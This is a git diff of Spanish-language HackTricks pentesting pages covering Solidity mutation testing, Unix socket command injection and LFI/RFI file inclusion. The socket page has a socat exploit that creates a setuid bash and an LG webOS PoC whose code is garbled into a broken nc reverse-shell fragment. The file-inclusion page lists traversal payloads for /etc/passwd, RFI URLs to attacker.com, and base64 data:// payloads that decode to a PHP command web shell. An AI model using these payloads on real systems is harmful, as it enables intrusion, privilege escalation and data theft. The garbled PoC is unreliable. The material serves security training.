diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index c40dd2ff4..febdce748 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ -# Pruebas de mutación para Solidity con Slither (slither-mutate) +# Mutation Testing para Solidity con Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -La prueba de mutación "prueba tus pruebas" introduciendo sistemáticamente pequeños cambios (mutantes) en tu código Solidity y volviendo a ejecutar tu suite de pruebas. Si una prueba falla, el mutante queda eliminado. Si las pruebas siguen pasando, el mutante sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de línea/rama no puede detectar. +Mutation testing "tests your tests" al introducir sistemáticamente pequeños cambios (mutants) en tu código Solidity y volver a ejecutar tu suite de pruebas. Si una prueba falla, el mutant es eliminado. Si las pruebas siguen pasando, el mutant sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de líneas/ramas no puede detectar. -Idea clave: la cobertura muestra que el código se ejecutó; la prueba de mutación muestra si el comportamiento realmente está verificado. +Idea clave: La cobertura muestra que el código se ejecutó; mutation testing muestra si el comportamiento está realmente verificado. -## Por qué la cobertura puede ser engañosa +## Por qué la cobertura puede engañar -Considera esta simple comprobación de umbral: +Considera esta sencilla comprobación de umbral: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,24 +18,24 @@ return false; } } ``` -Las pruebas unitarias que solo verifican un valor por debajo y un valor por encima del umbral pueden alcanzar el 100% de cobertura de líneas y ramas mientras no comprueban la igualdad límite (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo. +Las pruebas unitarias que solo comprueban un valor por debajo y otro por encima del umbral pueden alcanzar el 100% de cobertura de líneas/ramas mientras no afirman la igualdad límite (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo. -Mutation testing expone esta brecha al mutar la condición y verificar que tus pruebas fallen. +Las pruebas de mutación exponen esta brecha al mutar la condición y verificar que tus tests fallen. -## Operadores comunes de mutación en Solidity +## Operadores de mutación comunes en Solidity -Slither’s mutation engine aplica muchas pequeñas ediciones que cambian la semántica, como: +El motor de mutación de Slither aplica muchos pequeños cambios que alteran la semántica, como: - Reemplazo de operadores: `+` ↔ `-`, `*` ↔ `/`, etc. - Reemplazo de asignación: `+=` → `=`, `-=` → `=` -- Reemplazo de constantes: no cero → `0`, `true` ↔ `false` -- Negación/reemplazo de condiciones dentro de `if`/loops +- Reemplazo de constantes: valor distinto de cero → `0`, `true` ↔ `false` +- Negación/reemplazo de condiciones dentro de `if`/bucles - Comentar líneas completas (CR: Comment Replacement) - Reemplazar una línea por `revert()` - Intercambio de tipos de datos: p. ej., `int128` → `int64` -Objetivo: eliminar el 100% de los mutantes generados, o justificar a los supervivientes con razonamiento claro. +Objetivo: eliminar el 100% de los mutantes generados, o justificar los supervivientes con un razonamiento claro. -## Running mutation testing with slither-mutate +## Ejecutar pruebas de mutación con slither-mutate Requisitos: Slither v0.10.2+. @@ -44,13 +44,13 @@ Requisitos: Slither v0.10.2+. slither-mutate --help slither-mutate --list-mutators ``` -- Ejemplo de Foundry (capturar los resultados y mantener un registro completo): +- ejemplo de Foundry (capturar resultados y mantener un registro completo): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` - Si no usas Foundry, reemplaza `--test-cmd` por la forma en que ejecutas las pruebas (p. ej., `npx hardhat test`, `npm test`). -Los artefactos y los informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no detectados (que sobreviven) se copian allí para su inspección. +Los artefactos e informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no detectados (sobrevivientes) se copian allí para su inspección. ### Entendiendo la salida @@ -59,53 +59,53 @@ Las líneas del informe se ven así: INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- La etiqueta entre corchetes es el alias del mutador (p. ej., `CR` = Comment Replacement). -- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → falta de aserción. +- La etiqueta entre corchetes es el mutator alias (p. ej., `CR` = Comment Replacement). +- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → falta una aserción. -## Reducir el tiempo de ejecución: priorizar mutantes de mayor impacto +## Reducir el tiempo de ejecución: priorizar mutantes con impacto -Las campañas de mutación pueden durar horas o días. Consejos para reducir el costo: -- Alcance: Empieza solo con los contratos/directorios críticos, luego expande. -- Priorizar mutators: Si un mutante de alta prioridad en una línea sobrevive (p. ej., línea entera comentada), puedes omitir variantes de menor prioridad para esa línea. -- Paraleliza las pruebas si tu runner lo permite; cachea dependencias/builds. -- Fail-fast: detén temprano cuando un cambio demuestre claramente una brecha de aserción. +Las campañas de mutación pueden durar horas o días. Consejos para reducir el coste: +- Alcance: comienza solo con contratos/directorios críticos, luego expande. +- Prioriza mutadores: si un mutante de alta prioridad en una línea sobrevive (p. ej., línea entera comentada), puedes omitir variantes de menor prioridad para esa línea. +- Paraleliza las pruebas si tu runner lo permite; almacena en caché dependencias/compilaciones. +- Fail-fast: detente pronto cuando un cambio demuestre claramente una brecha en las aserciones. -## Flujo de triage para mutantes sobrevivientes +## Flujo de triage para mutantes supervivientes -1) Inspecciona la línea mutada y su comportamiento. +1) Inspecciona la línea mutada y el comportamiento. - Reproduce localmente aplicando la línea mutada y ejecutando una prueba focalizada. -2) Fortalece las pruebas para afirmar el estado, no solo los valores retornados. -- Añade comprobaciones de igualdad/límite (p. ej., test threshold `==`). -- Aserta post-condiciones: balances, total supply, efectos de autorización y eventos emitidos. +2) Fortalece las pruebas para afirmar el estado, no solo los valores de retorno. +- Añade comprobaciones de igualdad y límites (p. ej., test threshold `==`). +- Asegura post-condiciones: balances, suministro total, efectos de autorización y eventos emitidos. 3) Sustituye mocks demasiado permisivos por comportamiento realista. -- Asegúrate de que los mocks hagan cumplir transfers, failure paths, y emisiones de eventos que ocurren on-chain. +- Asegúrate de que los mocks hagan cumplir transferencias, rutas de fallo y emisiones de eventos que ocurren on-chain. 4) Añade invariantes para fuzz tests. -- Ej.: conservación del valor, balances no negativos, invariantes de autorización, monotonic supply cuando aplique. +- Ej.: conservación del valor, balances no negativos, invariantes de autorización, suministro monótono cuando sea aplicable. -5) Vuelve a ejecutar slither-mutate hasta que los sobrevivientes sean eliminados o estén justificados explícitamente. +5) Vuelve a ejecutar slither-mutate hasta que los supervivientes sean eliminados o estén justificados explícitamente. -## Estudio de caso: revelar aserciones de estado faltantes (protocolo Arkis) +## Caso de estudio: revelando aserciones de estado faltantes (Arkis protocol) -Una campaña de mutación durante una auditoría del protocolo Arkis DeFi reveló sobrevivientes como: +Una campaña de mutación durante una auditoría del Arkis DeFi protocol mostró supervivientes como: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Comentar la asignación no rompió los tests, lo que demuestra la falta de aserciones de post-estado. Causa raíz: el código confiaba en un `_cmd.value` controlado por el usuario en lugar de validar las transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para drenar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo. +Comentar la asignación no rompió los tests, lo que demuestra que faltan aserciones del estado posterior. Causa raíz: el código confiaba en un `_cmd.value` controlado por el usuario en lugar de validar las transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para vaciar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo. -Guía: Considere de alto riesgo a los mutantes supervivientes que afecten transferencias de valor, contabilidad o control de acceso hasta que sean eliminados. +Guía: Trata los mutantes sobrevivientes que afectan transferencias de valor, contabilidad o control de acceso como de alto riesgo hasta que sean eliminados. -## Practical checklist +## Lista de comprobación práctica -- Ejecutar una campaña dirigida: +- Ejecuta una campaña dirigida: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Triar los supervivientes y escribir tests/invariantes que fallarían bajo el comportamiento mutado. -- Compruebe saldos, supply, autorizaciones y eventos. -- Agregar pruebas límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). -- Reemplace mocks poco realistas; simule modos de fallo. -- Iterar hasta que todos los mutantes sean eliminados o justificados con comentarios y su razonamiento. +- Clasifica los mutantes sobrevivientes y escribe tests/invariantes que fallen con el comportamiento mutado. +- Comprueba saldos, suministro, autorizaciones y eventos. +- Añade tests límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). +- Sustituye mocks poco realistas; simula modos de fallo. +- Itera hasta que todos los mutantes sean eliminados o justificados con comentarios y razonamiento. ## References @@ -113,4 +113,4 @@ Guía: Considere de alto riesgo a los mutantes supervivientes que afecten transf - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index ce5c67275..8e6f64439 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,8 +1,10 @@ +# Socket Command Injection + {{#include ../../banners/hacktricks-training.md}} -## Ejemplo de enlace de socket con Python +## Socket binding example with Python -En el siguiente ejemplo se **crea un socket unix** (`/tmp/socket_test.s`) y todo lo **recibido** va a ser **ejecutado** por `os.system`. Sé que no vas a encontrar esto en la vida real, pero el objetivo de este ejemplo es ver cómo se ve un código que utiliza sockets unix y cómo manejar la entrada en el peor de los casos. +En el siguiente ejemplo se crea un **unix socket** (`/tmp/socket_test.s`) y todo lo que se **reciba** será **ejecutado** por `os.system`. Sé que no vas a encontrar esto en el mundo real, pero el objetivo de este ejemplo es ver cómo luce un code que usa unix sockets, y cómo gestionar el input en el peor caso posible. ```python:s.py import socket import os, os.path @@ -31,8 +33,43 @@ netstat -a -p --unix | grep "socket_test" will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` -**Explotar** +**Exploit** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## Estudio de caso: escalada desencadenada por señales en socket UNIX propiedad de root (LG webOS) + +Algunos daemons privilegiados exponen un socket UNIX propiedad de root que acepta entrada no confiable y asocia acciones privilegiadas a IDs de hilo y señales. Si el protocolo permite que un cliente no privilegiado influya en qué hilo nativo es objetivo, podrías ser capaz de activar una ruta de código privilegiado y escalar. + +Patrón observado: +- Conéctate a un socket propiedad de root (p. ej., /tmp/remotelogger). +- Crea un hilo y obtén su id de hilo nativo (TID). +- Envía el TID (empaquetado) más padding como una petición; recibe una confirmación. +- Envía una señal específica a ese TID para desencadenar el comportamiento privilegiado. + +Esquema de PoC mínimo: +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() +tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` +Notas: +- Esta clase de bugs surge de confiar en valores derivados del estado de cliente no privilegiado (TIDs) y enlazarlos a signal handlers o a lógica privilegiada. +- Endurecer haciendo cumplir las credentials en el socket, validando los message formats y desacoplando las operaciones privilegiadas de los thread identifiers suministrados externamente. + +## Referencias + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index eef620596..d4d8a2939 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,7 +4,7 @@ ## File Inclusion -**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ +**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ **Local File Inclusion (LFI):** El servidor carga un archivo local. La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar. @@ -26,10 +26,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Intenta también cambiar `/` por `\`\ -Intenta también añadir `../../../../../` +Prueba también a cambiar `/` por `\`\ +Prueba también a añadir `../../../../../` -A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Fusión de diferentes wordlists: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Intenta también cambiar `/` por `\`\ -Intenta también eliminar `C:/` y añadir `../../../../../` +Prueba también a cambiar `/` por `\`\ +Prueba también a eliminar `C:/` y añadir `../../../../../` -A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Revisa la lista LFI de linux. +Revisa la lista LFI de Linux. ## LFI básico y bypasses -All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). +Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### secuencias de traversal eliminadas de forma no recursiva +### Secuencias traversal eliminadas de forma no recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass la adición de más caracteres al final de la cadena proporcionada (bypass of: $\_GET\['param']."php") +Bypass para evitar la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ Esto está **resuelto desde PHP 5.4** ### **Codificación** -Puedes usar codificaciones no estándar como double URL encode (y otras): +Podrías usar codificaciones no estándar como double URL encode (y otras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,40 +80,40 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Desde una carpeta existente -Puede que el back-end esté verificando la ruta de la carpeta: +Quizás el back-end está comprobando la ruta de la carpeta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Exploración de directorios del sistema de archivos en un servidor +### Explorando directorios del sistema de archivos en un servidor -El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo: +El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondar la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto: -1. **Determine Directory Depth:** Asegura la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux-based). Un ejemplo de URL podría estar estructurado como sigue, indicando una profundidad de tres: +1. **Determine Directory Depth:** Averigüe la profundidad de su directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor está basado en Linux). Una URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sondea carpetas:** Añade el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: +2. **Sondear carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpret the Outcomes:** La respuesta del servidor indica si el directorio existe: -- **Error / No Output:** El directorio `private` probablemente no existe en la ubicación especificada. -- **Contents of `/etc/passwd`:** Se confirma la presencia del directorio `private`. -4. **Recursive Exploration:** Los directorios descubiertos pueden ser explorados adicionalmente en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI). +3. **Interpretar los resultados:** La respuesta del servidor indica si el directorio existe: +- **Error / Sin salida:** El directorio `private` probablemente no existe en la ubicación especificada. +- **Contenido de `/etc/passwd`:** Se confirma la presencia del directorio `private`. +4. **Exploración recursiva:** Los directorios descubiertos pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI). -Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: +Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al evadir ciertas medidas de seguridad que agregan caracteres adicionales al final de las rutas de archivo. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado. +Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos sorteando ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas. El objetivo es construir una ruta que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado. -En PHP, diferentes representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo: +En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` se tratan todas como la misma ruta. -- Cuando los últimos 6 caracteres son `passwd`, añadir una `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. -- De manera similar, si se añade `.php` a una ruta de archivo (por ejemplo `shellcode.php`), añadir `/.` al final no alterará el archivo al que se accede. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. +- De manera similar, si se añade `.php` a una ruta (como `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede. Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario): ``` @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -En estos escenarios, el número de traversals necesarios podría estar alrededor de 2027, pero este número puede variar según la configuración del servidor. +En estos escenarios, el número de traversals necesarios podría ser aproximadamente 2027, pero este número puede variar según la configuración del servidor. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. -- **Determining the Required Number of Traversals**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta. -- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de parsing de rutas del servidor. +- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de puntos y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente cadenas añadidas por el servidor. +- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número exacto de secuencias `../` necesarias para llegar al directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta. +- **Starting with a Fake Directory**: Es práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de análisis de rutas del servidor. -When employing path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y las pruebas son a menudo necesarias para encontrar el método más efectivo. +Al emplear técnicas de path truncation, es crucial entender el comportamiento del análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo. -**This vulnerability was corrected in PHP 5.3.** +**Esta vulnerabilidad fue corregida en PHP 5.3.** ### **Filter bypass tricks** ``` @@ -150,18 +150,18 @@ En php esto está deshabilitado por defecto porque **`allow_url_include`** está http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el data protocol con base64 para decodificar un b64 PHP code y obtener RCE: +Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtering** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP b64 y obtener RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y, tras el b64 decode, esa parte devolverá solo basura y el código PHP real será incluido (y, por lo tanto, ejecutado). +> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y después del b64 decode esa parte devolverá solo datos basura y el código PHP real será incluido (y por lo tanto, ejecutado). Otro ejemplo **sin usar el protocolo `php://`** sería: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Elemento raíz en Python +## Python Elemento raíz En Python, en un código como este: ```python @@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ``` Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa a partir del componente de ruta absoluta. +> Si un componente es una ruta absoluta, se descartan todos los componentes anteriores y la unión continúa desde el componente de ruta absoluta. ## Listado de directorios en Java -Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no ocurrirá en otros lenguajes (que yo sepa). +Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa). ## Top 25 parámetros -Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Aquí tienes una lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,7 +211,7 @@ Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnera ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando wrappers y protocolos de PHP +## LFI / RFI usando PHP wrappers y protocolos ### php://filter @@ -222,24 +222,24 @@ Los filtros de PHP permiten realizar operaciones básicas de **modificación sob - `string.toupper` - `string.tolower` - `string.strip_tags`: Elimina etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">") -- Ten en cuenta que este filtro ha desaparecido en las versiones modernas de PHP +- Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforma a una codificación diferente(`convert.iconv..`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Para obtener la **lista de todas las codificaciones** soportadas, ejecuta en la consola: `iconv -l` > [!WARNING] -> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información) +- `zlib.deflate`: Comprime el contenido (útil si vas a exfiltrar mucha información) - `zlib.inflate`: Descomprime los datos - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Deprecated -- `mdecrypt.*` : Deprecated -- Otros filtros +- `mcrypt.*` : Deprecado +- `mdecrypt.*` : Deprecado +- Other Filters - Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**: - `consumed` - `dechunk`: revierte la codificación chunked de HTTP @@ -273,23 +273,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > La parte "php://filter" no distingue entre mayúsculas y minúsculas -### Usando php filters como oracle para leer archivos arbitrarios +### Uso de php filters como oracle para leer archivos arbitrarios -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva su contenido. Esta técnica se basa en una **exfiltración booleana del archivo (char por char) usando php filters** como oracle. Esto es porque php filters pueden usarse para hacer un texto lo bastante grande como para que php lance una excepción. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. -En el post original encontrarás una explicación detallada de la técnica, pero aquí va un resumen rápido: +In the original post you can find a detailed explanation of the technique, but here is a quick summary: -- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al inicio y hacer que el tamaño de la cadena aumente exponencialmente. -- Esto se usa para generar un **texto tan grande que, cuando la letra inicial se adivine correctamente, php provocará un** **error** -- El filtro **dechunk** **eliminará todo si el primer carácter no es hexadecimal**, así que podemos saber si el primer carácter es hex. -- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo hacemos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la borrará y la bomba inicial provocará el error en php. -- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por tanto dechunk no la elimina y se desencadena el error en php porque se multiplica con la bomba inicial. -- Usando otras transformaciones como **rot13** al inicio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex). -- Cuando el char inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número. -- El problema final es ver **cómo leak más que la letra inicial**. Usando filtros de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible 